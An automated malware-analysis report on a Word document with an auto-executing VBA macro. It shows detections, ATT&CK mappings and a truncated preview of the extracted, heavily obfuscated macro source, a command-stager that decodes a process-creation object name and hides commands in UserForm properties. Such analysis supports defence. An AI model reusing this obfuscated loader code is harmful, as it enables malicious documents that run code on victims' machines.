MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains a VBA macro that is automatically executed upon opening the document, indicated by the 'Document_Open' macro and 'OLE_VBA_DOCOPEN' heuristic. The macro utilizes 'CreateObject' and appears to be a command stager, suggesting it's designed to download and execute a second-stage payload. The ClamAV detection 'Doc.Malware.Sagent-9375821-0' further supports its malicious nature.
Heuristics 7
-
ClamAV: Doc.Malware.Sagent-9375821-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Sagent-9375821-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10460 bytes |
SHA-256: 2d8818e5b869b1d1b949039d3c5481c03d905a15bd77b875c2a0f5e5f5f29708 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Wtz9n204ay7ty"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Voir4vv54umqe0lk4.Cdstj07h4wma_t
End Sub
Attribute VB_Name = "Voir4vv54umqe0lk4"
Attribute VB_Base = "0{F366E070-2954-479E-827A-C32610A8F664}{37C04FDE-171B-469E-AF98-E08B2EAB8EEE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Cdstj07h4wma_t()
For Bnd8rp52x5olky = 5 To 62
DoEvents
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Next Bnd8rp52x5olky
Yzn1kj_4zud = 545
Symcoxkwtt2 = 402
Yzn1kj_4zud = Yzn1kj_4zud + Symcoxkwtt2
Al1tocun8b1hbf88 = Yzn1kj_4zud
I6bhw7j8v22lzi_ = Voir4vv54umqe0lk4.HelpContextId + 50 + 50
For Bnd8rp52x5olky = 5 To 62
DoEvents
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Next Bnd8rp52x5olky
Yzn1kj_4zud = 197
Symcoxkwtt2 = 837
Yzn1kj_4zud = Yzn1kj_4zud + Symcoxkwtt2
Gq6l4kqswpv111dk = Yzn1kj_4zud
B16wgq3qmi2 = ChrW(I6bhw7j8v22lzi_ + (15))
For Bnd8rp52x5olky = 5 To 62
DoEvents
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Next Bnd8rp52x5olky
Yzn1kj_4zud = 887
Symcoxkwtt2 = 99
Yzn1kj_4zud = Yzn1kj_4zud + Symcoxkwtt2
H3bv_oc7c4e3zm = Yzn1kj_4zud
Vyxgie7yyyjmhg8k = "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggi58[sn ]]][ jsa 21u7gsgggnm58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggggm58[sn ]]][ jsa 21u7gsgggt58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg" + B16wgq3qmi2 + "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg:58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggin58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg358[sn ]]][ jsa 21u7gsggg258[sn ]]][ jsa 21u7gsggg_58[sn ]]][ jsa 21u7gsggg" + Voir4vv54umqe0lk4.C081yifgxqs + "58[sn ]]][ jsa 21u7gsgggro58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggce58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsggg"
For Bnd8rp52x5olky = 5 To 62
DoEvents
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Next Bnd8rp52x5olky
Yzn1kj_4zud = 433
Symcoxkwtt2 = 245
Yzn1kj_4zud = Yzn1kj_4zud + Symcoxkwtt2
Ntloge8i2lkvalnw = Yzn1kj_4zud
Zm_vmgn8qh9u = Dlx2s68i1qyogn(Vyxgie7yyyjmhg8k)
For Bnd8rp52x5olky = 5 To 62
DoEvents
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Next Bnd8rp52x5olky
Yzn1kj_4zud = 869
Symcoxkwtt2 = 33
Yzn1kj_4zud = Yzn1kj_4zud + Symcoxkwtt2
Yilm__hfy2limrtt = Yzn1kj_4zud
Set Wjkydhg52gc1 = CreateObject(Zm_vmgn8qh9u)
For Bnd8rp52x5olky = 5 To 62
DoEvents
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Next Bnd8rp52x5olky
Yzn1kj_4zud = 306
Symcoxkwtt2 = 656
Yzn1kj_4zud = Yzn1kj_4zud + Symcoxkwtt2
F07gt9rpj27ug4mu = Yzn1kj_4zud
T2a_tjl8zy7x = Voir4vv54umqe0lk4.Pxrj28tn2_hom1.ControlTipText
For Bnd8rp52x5olky = 5 To 62
DoEvents
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Next Bnd8rp52x5olky
Yzn1kj_4zud = 200
Symcoxkwtt2 = 990
Yzn1kj_4zud = Yzn1kj_4zud + Symcoxkwtt2
Ip7nrzyd
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.